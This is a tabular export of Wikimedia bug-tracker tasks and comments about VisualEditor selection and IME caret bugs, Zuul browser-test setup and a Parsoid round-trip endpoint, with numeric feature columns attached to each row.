https://en.wikipedia.org/w/index.php?title=Daniel_Rowe_%28footballer%29&oldid=570278760&veaction=edit

--------------------------
**Version**: unspecified
**Severity**: normal

**Attached**: {F11872}",Medium,50.0,1379834460,1380049211.0,PHID-USER-sai77mtxmpqnm6pycyvz,False,,False,PHID-TASK-uw2trpgzgq47w4uqfske,task_description,resolved,True,c1,3,True,False,True,11,,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.5483870967741935,0.4838709677419355,"Screenshot

URL

--------------------------
**Version**: unspecified
**Severity**: normal

**Attached**: {F11872}"
254522,VisualEditor: Editor incorrectly selects slug and infobox onload,"Change 85866 merged by jenkins-bot:
Detect collapsed range inside focusable node in ve.ce.Surface#onChange

https://gerrit.wikimedia.org/r/85866",,,1380043305,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-uw2trpgzgq47w4uqfske,task_subcomment,,True,c1,3,False,,,12,,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,14.0,24.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.095238095238095,1.0,"Change 85866 merged by jenkins-bot:
Detect collapsed range inside focusable node in ve.ce.Surface#onChange

GERRIT_URL"
254518,VisualEditor: Editor incorrectly selects slug and infobox onload,"Change 85866 had a related patch set uploaded by Esanders:
Detect collapsed range inside focusable node in ve.ce.Surface#onChange

https://gerrit.wikimedia.org/r/85866",,,1380038162,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-uw2trpgzgq47w4uqfske,task_subcomment,,True,c1,3,False,,,12,,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,21.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,12.0,29.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,5.208333333333333,1.0,"Change 85866 had a related patch set uploaded by Esanders:
Detect collapsed range inside focusable node in ve.ce.Surface#onChange

GERRIT_URL"
254514,VisualEditor: Editor incorrectly selects slug and infobox onload,"This is cause by ve.ce.Surface#showSelection not being aware of the slug at the start of the document. Also, because the focusableNode logic takes places before showSelection is called, it tries to do a native selection.",,,1380036773,,PHID-USER-it53o2f2kyryqyj33uzt,False,,,PHID-TASK-uw2trpgzgq47w4uqfske,task_subcomment,,True,c1,3,True,,,12,,0.0,0.0,0.0,2.0,2.0,7.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,17.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,2.0,0.0,0.0,0.0,12.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,7.0,7.0,2.0,0.0,15.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,17.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,4.536585365853658,0.8048780487804879,"This is cause by ve.ce.Surface#showSelection not being aware of the slug at the start of the document. Also, because the focusableNode logic takes places before showSelection is called, it tries to do a native selection."
254511,VisualEditor: Editor incorrectly selects slug and infobox onload,"Created attachment 13347
Screenshot of page after trying to Undo

Causes loss of data as it makes it really easy to accidentally delete that selection when you start typing.

When you then try to do Undo, the following exception is thrown:

Uncaught Error: Cannot roll back a transaction that has not been committed 

Also, for some reason the font has become noticably smaller (only in the affected paragraph; see screenshot)

**Attached**: {F11873}",,,1379834796,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-uw2trpgzgq47w4uqfske,task_subcomment,,True,c1,3,True,,,11,,1.0,0.0,0.0,2.0,2.0,3.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,1.0,0.0,0.0,0.0,11.0,11.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,6.0,2.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,1.0,0.0,9.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,2.0,0.0,0.0,1.0,2.0,1.0,0.0,1.0,1.0,0.0,4.0,2.0,13.0,2.0,0.0,6.0,0.0,0.0,0.0,0.0,4.0,0.0,1.0,0.0,4.0,11.0,6.0,0.0,0.0,0.0,4.0,0.0,3.0,1.0,0.0,3.0,1.0,0.0,0.0,4.085106382978723,0.776595744680851,"Created attachment 13347
Screenshot of page after trying to Undo

Causes loss of data as it makes it really easy to accidentally delete that selection when you start typing.

When you then try to do Undo, the following exception is thrown:

Uncaught Error: Cannot roll back a transaction that has not been committed 

Also, for some reason the font has become noticably smaller (only in the affected paragraph; see screenshot)

**Attached**: {F11873}"
56424,VisualEditor: Automatic Incorrect caret movement with ULS,"This is a separate report for automatic caret movement from one place to another when using VE with ULS.

This problem has been seen with some other bugs, specifically, in the fourth[1], seventh[2] and tenth[3] comments of Bug 53708 and the original report of Bug 54421

I also suspect that the problem in Bug 53701 is a form of this bug only.

However, I am reporting this as a separate bug since I was able to reproduce it independent of these bugs.

System environment:
Win 7 X64 SP1
Google Chrome 29.0.1547.66 m

Test Url:
https://www.mediawiki.org/wiki/User:Siddhartha_Ghai/sandbox?veaction=edit

Steps:
1 Enable ULS IME hindi transliteration
2 Take the caret to the end of the first paragraph using the mouse (i.e click at the end of the first paragraph to take the caret there)
3 Input [RETURN KEY][RETURN KEY]a

Expected output:
[NEWLINE][NEWLINE]अ

Actual Output:
[NEWLINE]अ[NEWLINE]

As long as the return keys have been pressed, everything is fine and the caret is in the second newline. However, as soon as a is pressed, the input is in the first new line and not the second. The caret has hence moved up one line before the input is placed into the output text. The caret does not move back and is after the output अ

This text is selectable, but can't be copy-pasted into an external text editor.
The text is removable, so this is not entirely Bug 53708 . However, pressing a backspace when the caret is after अ removes अ along with the newline that precedes it.

[1]: https://bugzilla.wikimedia.org/show_bug.cgi?id=53708#c4
[2]: https://bugzilla.wikimedia.org/show_bug.cgi?id=53708#c7
[3]: https://bugzilla.wikimedia.org/show_bug.cgi?id=53708#c10

--------------------------
**Version**: unspecified
**Severity**: normal",Medium,50.0,1379768640,1453748480.0,PHID-USER-4bjsher5mqcoikeqnnec,False,PHID-USER-ydswvwhh5pm4lshahjje,True,PHID-TASK-nql2oht74xidzmey66vl,task_description,resolved,True,c1,3,False,False,False,11,,0.25,0.25,0.25,1.0,1.0,5.5,2.5,0.0,0.0,0.0,3.25,0.25,0.0,0.25,0.0,0.75,0.0,5.5,8.75,0.25,0.5,0.0,0.75,0.25,0.25,0.0,0.0,0.0,0.0,0.0,0.25,5.25,0.75,0.5,1.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,1.5,0.0,1.0,0.0,0.25,0.25,14.5,0.5,1.25,0.0,0.0,0.0,0.0,0.0,0.75,0.0,0.25,0.0,0.75,0.0,0.0,0.25,0.25,0.0,7.75,4.5,12.0,1.0,1.75,10.0,0.0,0.0,0.0,0.0,2.0,0.25,4.0,0.0,1.25,8.75,3.75,0.0,0.0,0.0,1.25,0.0,0.75,1.5,0.0,1.0,0.0,0.0,2.0,3.701436388508892,0.6471956224350205,"This is a separate report for automatic caret movement from one place to another when using VE with ULS.

This problem has been seen with some other bugs, specifically, in the fourth[1], seventh[2] and tenth[3] comments of Bug 53708 and the original report of Bug 54421

I also suspect that the problem in Bug 53701 is a form of this bug only.

However, I am reporting this as a separate bug since I was able to reproduce it independent of these bugs.

System environment:
Win 7 X64 SP1
Google Chrome 29.0.1547.66 m

Test Url:
URL

Steps:
1 Enable ULS IME hindi transliteration
2 Take the caret to the end of the first paragraph using the mouse (i.e click at the end of the first paragraph to take the caret there)
3 Input [RETURN KEY][RETURN KEY]a

Expected output:
[NEWLINE][NEWLINE]अ

Actual Output:
[NEWLINE]अ[NEWLINE]

As long as the return keys have been pressed, everything is fine and the caret is in the second newline. However, as soon as a is pressed, the input is in the first new line and not the second. The caret has hence moved up one line before the input is placed into the output text. The caret does not move back and is after the output अ

This text is selectable, but can't be copy-pasted into an external text editor.
The text is removable, so this is not entirely Bug 53708 . However, pressing a backspace when the caret is after अ removes अ along with the newline that precedes it.

[1]: URL
[2]: URL
[3]: URL

--------------------------
**Version**: unspecified
**Severity**: normal"
596648,VisualEditor: Automatic Incorrect caret movement with ULS,"As of https://gerrit.wikimedia.org/r/#/c/264577/ in #jquery.ime this should now be resolved and working for all users, and will be part of the wmf.12 release starting tomorrow.",,,1453748489,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-nql2oht74xidzmey66vl,task_subcomment,,True,c1,3,True,,,134,,4.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,18.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,7.0,7.0,0.0,7.0,11.0,0.0,0.0,0.0,4.0,7.0,0.0,0.0,0.0,0.0,18.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,4.035714285714286,0.8928571428571429,"As of URL in #jquery.ime this should now be resolved and working for all users, and will be part of the wmf.12 release starting tomorrow."
253177,VisualEditor: Automatic Incorrect caret movement with ULS,"Hi,

Confirming the above problem for VE+ULS (Typing input Marathi:अक्षरांतरण) Tested with Win 7 + Firefox 24.0 

*Plus additional issue observed after Automatic Incorrect caret movement when I kept typing It started eating up text on right side in continuous movement simmiller to the problem described in Bug 53757 .




Thanks and Regards",,,1379905436,,PHID-USER-azy72hrp3tpetr52aob6,False,,,PHID-TASK-nql2oht74xidzmey66vl,task_subcomment,,True,c1,3,False,,,12,,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,2.0,2.0,2.0,15.0,0.0,0.0,0.0,0.0,2.0,3.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,3.0,0.0,26.0,2.0,5.0,3.0,0.0,0.0,0.0,0.0,0.0,2.0,5.0,0.0,3.0,15.0,8.0,0.0,0.0,0.0,3.0,0.0,2.0,0.0,0.0,6.0,0.0,0.0,0.0,4.693548387096774,0.9193548387096774,"Hi,

Confirming the above problem for VE+ULS (Typing input Marathi:अक्षरांतरण) Tested with Win 7 + Firefox 24.0 

*Plus additional issue observed after Automatic Incorrect caret movement when I kept typing It started eating up text on right side in continuous movement simmiller to the problem described in Bug 53757 .




Thanks and Regards"
56421,VisualEditor: Text duplication when using jquery.IME on existing pages,"Screenshot showing text duplication

This bug was observed when continuing testing from https://bugzilla.wikimedia.org/show_bug.cgi?id=53706#c3

The entire test procedure is as follows:

System Environment:
Windows7 X64 SP1
Google Chrome 29.0.1547.66 m

Test Url:
https://www.mediawiki.org/wiki/User:Siddhartha_Ghai/sandbox?veaction=edit

Steps:
Enable ULS IME hindi transliteration
Take a caret to the end of the first paragraph using the mouse (i.e click at
the end of the first paragraph to take the caret there.)
Input ag
Output will be अग् as expected but with incorrect selection as reported in the comment linked above
Further input a
This causes the text अग to show up at the beginning of the page with the text अग् at the end of the first paragraph remaining as it is.

What should have happened:
The original output अग् should have been changed to अग at the end of the first paragraph.

So effectively the text is duplicated at the beginning of the page. This means that first the caret moves to the beginning of the page, then the text is duplicated.

Note: The text is navigable and removable, so this is different from Bug 53708 and Bug 53711

--------------------------
**Version**: unspecified
**Severity**: normal

**Attached**: {F11824}",Medium,50.0,1379764980,1453749177.0,PHID-USER-4bjsher5mqcoikeqnnec,False,PHID-USER-ydswvwhh5pm4lshahjje,True,PHID-TASK-qb2engnawhn3el2wqyzm,task_description,resolved,True,c1,3,False,False,False,11,,0.0,0.0,0.0,1.3333333333333333,0.0,5.333333333333333,1.3333333333333333,0.0,0.0,0.0,1.6666666666666667,0.0,0.0,0.0,0.0,0.0,0.3333333333333333,2.3333333333333335,10.0,0.0,0.6666666666666666,0.6666666666666666,0.0,0.0,0.3333333333333333,0.3333333333333333,0.0,0.3333333333333333,0.0,0.3333333333333333,1.0,3.3333333333333335,2.0,0.3333333333333333,0.6666666666666666,0.0,0.0,0.0,0.0,0.3333333333333333,0.0,0.0,0.0,2.0,0.0,1.6666666666666667,0.0,0.0,0.3333333333333333,16.0,1.0,0.3333333333333333,0.3333333333333333,0.0,0.0,0.3333333333333333,0.0,0.6666666666666666,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.3333333333333333,9.666666666666666,3.3333333333333335,12.333333333333334,0.6666666666666666,1.6666666666666667,11.0,0.0,0.0,0.0,0.0,2.6666666666666665,0.3333333333333333,1.0,0.0,0.3333333333333333,10.0,5.0,0.0,0.0,0.0,0.3333333333333333,0.0,0.6666666666666666,0.6666666666666666,0.0,1.3333333333333333,0.3333333333333333,0.0,0.0,3.9186991869918697,0.6300813008130081,"Screenshot showing text duplication

This bug was observed when continuing testing from URL

The entire test procedure is as follows:

System Environment:
Windows7 X64 SP1
Google Chrome 29.0.1547.66 m

Test Url:
URL

Steps:
Enable ULS IME hindi transliteration
Take a caret to the end of the first paragraph using the mouse (i.e click at
the end of the first paragraph to take the caret there.)
Input ag
Output will be अग् as expected but with incorrect selection as reported in the comment linked above
Further input a
This causes the text अग to show up at the beginning of the page with the text अग् at the end of the first paragraph remaining as it is.

What should have happened:
The original output अग् should have been changed to अग at the end of the first paragraph.

So effectively the text is duplicated at the beginning of the page. This means that first the caret moves to the beginning of the page, then the text is duplicated.

Note: The text is navigable and removable, so this is different from Bug 53708 and Bug 53711

--------------------------
**Version**: unspecified
**Severity**: normal

**Attached**: {F11824}"
596660,VisualEditor: Text duplication when using jquery.IME on existing pages,"As of https://gerrit.wikimedia.org/r/#/c/264577/ in #jquery.ime this should now be resolved and working for all users, and will be part of the wmf.12 release starting tomorrow.",,,1453749108,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-qb2engnawhn3el2wqyzm,task_subcomment,,True,c1,3,True,,,134,,4.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,18.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,7.0,7.0,0.0,7.0,11.0,0.0,0.0,0.0,4.0,7.0,0.0,0.0,0.0,0.0,18.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,4.035714285714286,0.8928571428571429,"As of URL in #jquery.ime this should now be resolved and working for all users, and will be part of the wmf.12 release starting tomorrow."
253025,VisualEditor: Text duplication when using jquery.IME on existing pages,Automatic Incorrect caret movement has been reported separately as Bug 54424,,,1379768763,,PHID-USER-4bjsher5mqcoikeqnnec,False,,,PHID-TASK-qb2engnawhn3el2wqyzm,task_subcomment,,True,c1,3,False,,,11,,0.0,0.0,0.0,9.0,0.0,9.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,27.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,9.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,1.0,Automatic Incorrect caret movement has been reported separately as Bug 54424
56387,browsertests: configure Zuul,"This is a sub project of bug 53697 https://www.mediawiki.org/wiki/Continuous_integration/Browser_tests

It covers setting up the Zuul configuration to trigger browser tests. From the wiki page:

The exact workflow would need to be figured out with the VisualEditor team. A first step would be to run the browser tests after a change has been merged and report back in Gerrit for their information.
At first we will only want to run browser tests after a change has been merged. This let us load the system progressively without disrupting the VisualEditor authors.

We can later on make Zuul report back in Gerrit a message stating the result of the tests, that will raise awareness among developers and they can work on fixing the unsuccessful tests. Additionally, we can have the browser tests to be triggered on every patchset, the labs instance load will have to be carefully monitored.

Once tests are properly passing and the setup has been proven useful, we can make Zuul to block patchsets not passing the browser tests. The developers would then be required to fix the code or the test to have their change merged in

--------------------------
**Version**: wmf-deployment
**Severity**: enhancement",Medium,50.0,1379695800,1385993818.0,PHID-USER-orzyp3dswemhdgdznro5,False,,False,PHID-TASK-3qnp2v5yec7kxc653kc7,task_description,resolved,True,c1,3,True,False,False,11,,0.3333333333333333,0.0,0.0,2.6666666666666665,0.3333333333333333,1.6666666666666667,0.6666666666666666,0.0,0.0,0.0,1.0,0.0,0.0,0.3333333333333333,0.0,1.6666666666666667,0.3333333333333333,5.0,9.666666666666666,0.0,3.3333333333333335,0.0,0.0,0.0,0.3333333333333333,0.3333333333333333,0.0,0.0,1.3333333333333333,2.3333333333333335,0.3333333333333333,2.3333333333333335,0.0,0.3333333333333333,1.0,0.0,0.0,0.0,0.0,0.3333333333333333,0.0,1.0,0.6666666666666666,2.6666666666666665,0.0,0.0,0.0,0.0,0.0,14.0,1.0,0.0,0.3333333333333333,0.0,0.0,0.3333333333333333,0.0,1.0,0.3333333333333333,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,8.0,3.6666666666666665,7.666666666666667,0.0,1.6666666666666667,9.0,0.0,0.0,0.0,0.0,8.0,0.0,0.3333333333333333,0.0,3.3333333333333335,9.666666666666666,3.6666666666666665,0.0,0.0,0.0,3.3333333333333335,0.0,0.3333333333333333,1.6666666666666667,0.3333333333333333,2.3333333333333335,0.0,0.0,0.0,4.244561403508771,0.7520467836257311,"This is a sub project of bug 53697 URL

It covers setting up the Zuul configuration to trigger browser tests. From the wiki page:

The exact workflow would need to be figured out with the VisualEditor team. A first step would be to run the browser tests after a change has been merged and report back in Gerrit for their information.
At first we will only want to run browser tests after a change has been merged. This let us load the system progressively without disrupting the VisualEditor authors.

We can later on make Zuul report back in Gerrit a message stating the result of the tests, that will raise awareness among developers and they can work on fixing the unsuccessful tests. Additionally, we can have the browser tests to be triggered on every patchset, the labs instance load will have to be carefully monitored.

Once tests are properly passing and the setup has been proven useful, we can make Zuul to block patchsets not passing the browser tests. The developers would then be required to fix the code or the test to have their change merged in

--------------------------
**Version**: wmf-deployment
**Severity**: enhancement"
250715,browsertests: configure Zuul,Being added on an ongoing basis. Already added the ULS browser tests in the Zuul 'test' pipeline.,,,1385993818,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-3qnp2v5yec7kxc653kc7,task_subcomment,,True,c1,3,True,,,22,,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,10.0,0.0,0.0,0.0,0.0,0.0,5.0,10.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,24.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,5.0,19.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,10.0,0.0,10.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,3.857142857142857,0.8095238095238095,Being added on an ongoing basis. Already added the ULS browser tests in the Zuul 'test' pipeline.
250709,browsertests: configure Zuul,"CCing Željko Filipin on any continuous bug related to browsertests. Main tracking bug is: bug 53697, see https://bugzilla.wikimedia.org/showdependencytree.cgi?id=53697&hide_resolved=0",,,1379705800,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-3qnp2v5yec7kxc653kc7,task_subcomment,,True,c1,3,True,,,11,,5.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,29.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,24.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,10.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.333333333333333,0.9047619047619048,"CCing Željko Filipin on any continuous bug related to browsertests. Main tracking bug is: bug 53697, see URL"
56339,Add _rtselser end point in web api,"For end users and VE folks the non-selser _rt end point is often confusing, as it shows diffs that are normally avoided by selser. It would be useful to add a _rtselser end-point that serializes to HTML, re-parses that HTML (to catch foster-parenting issues) and then serializes it back with selser enabled.

This will provide us with a quick sanity check for the selser code, and a better link for end users and VE to establish that something has indeed dirtied the DOM.

--------------------------
**Version**: unspecified
**Severity**: normal",Medium,50.0,1379611080,1380131264.0,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,False,PHID-TASK-g5cwud3usjdr2bplpq6x,task_description,resolved,True,c1,3,True,False,True,11,,0.0,1.0,0.0,0.5,0.0,6.0,1.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,1.0,0.0,2.5,10.0,1.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.5,0.0,4.0,2.0,2.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.5,0.5,0.5,0.0,1.0,1.0,13.0,1.0,0.5,0.0,0.0,0.0,0.0,0.0,1.0,1.5,0.0,0.0,1.5,0.0,0.0,0.0,1.0,0.0,4.5,1.5,6.5,1.5,2.5,5.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,2.5,10.0,5.5,0.0,0.0,0.0,2.5,0.0,1.0,2.0,1.0,0.0,1.0,0.0,0.0,3.8499999999999996,0.7333333333333334,"For end users and VE folks the non-selser _rt end point is often confusing, as it shows diffs that are normally avoided by selser. It would be useful to add a _rtselser end-point that serializes to HTML, re-parses that HTML (to catch foster-parenting issues) and then serializes it back with selser enabled.

This will provide us with a quick sanity check for the selser code, and a better link for end users and VE to establish that something has indeed dirtied the DOM.

--------------------------
**Version**: unspecified
**Severity**: normal"
247884,Add _rtselser end point in web api,"Change 85990 merged by jenkins-bot:
Bug 54339: Add _rtselser endpoint in web API

https://gerrit.wikimedia.org/r/85990",,,1380131239,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-g5cwud3usjdr2bplpq6x,task_subcomment,,True,c1,3,False,,,12,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,24.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,10.0,0.0,0.0,10.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.857142857142857,0.9523809523809523,"Change 85990 merged by jenkins-bot:
Bug 54339: Add _rtselser endpoint in web API

GERRIT_URL"
247878,Add _rtselser end point in web api,"Change 85990 had a related patch set uploaded by Marcoil:
Bug 54339: Add _rtselser endpoint in web API

https://gerrit.wikimedia.org/r/85990",,,1380124213,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-g5cwud3usjdr2bplpq6x,task_subcomment,,True,c1,3,False,,,12,,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,25.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,8.0,0.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.083333333333333,0.9583333333333334,"Change 85990 had a related patch set uploaded by Marcoil:
Bug 54339: Add _rtselser endpoint in web API

GERRIT_URL"
247873,Add _rtselser end point in web api,"(In reply to comment #2)
> (In reply to comment #1)
> > Just for clarity, this will catch any unhandled fostered parenting issues in
> > Parsoid.
> Depending on how it's written, it could catch these (or have a mode to detect
> these), by serializing the DOM out to a string and parsing it back in again.

Yes, that is the intention. 

> With or without this kind of DOM normalization though, mass-testing articles
> to find selser bugs would be very awesome.

We haven't yet figured out how to do this reliably. We still have same problem that I mentioned on the VE/F page about absence of an oracle to tell us authoritative wikitext to compare against. So, the best we can do is simulate null edits, or modify text, etc. But those are, for the most part, the uninteresting bits of selser testing -- the most interesting bugs show up with more complex edits, and that is the bit that needs to be solved for using it in an automated manner in rt-testing.",,,1379617066,,PHID-USER-slccyo5rqasgpljxny7g,False,,,PHID-TASK-g5cwud3usjdr2bplpq6x,task_subcomment,,True,c1,3,True,,,11,,0.0,0.0,0.0,0.5,0.5,5.5,2.0,0.0,0.0,0.0,2.0,0.5,0.0,0.0,0.0,2.5,0.5,4.5,11.0,0.0,2.5,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.5,0.0,0.0,5.0,0.5,0.5,1.5,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.5,0.5,0.0,13.5,2.0,0.5,0.0,2.0,0.0,0.0,0.0,0.5,0.5,0.0,1.0,0.5,0.0,0.0,0.5,0.5,0.0,6.0,3.5,8.5,0.5,2.0,8.5,0.0,0.0,0.0,0.5,4.0,0.5,0.5,0.0,3.5,11.0,2.5,0.0,0.0,0.0,3.5,0.0,1.5,1.0,0.5,0.5,0.5,2.0,0.5,3.5652173913043477,0.717391304347826,"(In reply to comment #2)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

Yes, that is the intention. 

QUOTE
QUOTE

